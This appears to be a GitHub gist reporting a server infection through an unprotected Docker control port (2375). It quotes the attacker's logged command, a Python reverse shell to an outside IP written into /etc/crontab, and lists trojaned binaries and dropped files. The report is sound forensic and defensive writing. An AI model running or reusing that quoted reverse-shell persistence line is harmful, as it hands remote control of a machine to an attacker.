Forked from bstevant/gist:cafcfa3fc6fdf39f5e8da581d16466a1
Created
August 28, 2018 11:34
-
-
Save jm33-m0/8d3ce155971fe8d07aaaf040c5abdc1a to your computer and use it in GitHub Desktop.
Possible infection through Docker ?
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
A server with public IPv4 was running a Docker server with infiltered control port (2375) | |
From log, Attacker started a container based on Ubuntu. | |
Logs for this container only show this command: | |
echo -e \"* * * * * root /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"211.149.215.17\\\",1496));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"]);'\\n\" >> /mnt/etc/crontab | |
Host /etc/crontab actually shows the command | |
Binary replaced: | |
* /bin/ps | |
* /bin/netstat | |
* /bin/ssh | |
New files: | |
* /usr/bin/.sshd | |
* /usr/bin/dpkgd/{ps,ss,netstat} | |
* /usr/bin/bsd-port/{conf.n,getty} | |
* /usr/bin/yzoesweupt (??) | |
* /tmp/tt | |
After further investigation, found possible signature for Linux.Backdoor.Gates: https://news.drweb.com/?i=5801&c=5&lng=en&p=0 | |
This host was supposed to be a remote swarm node, requiring management through port 2375. Docker should consider securing this ! |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment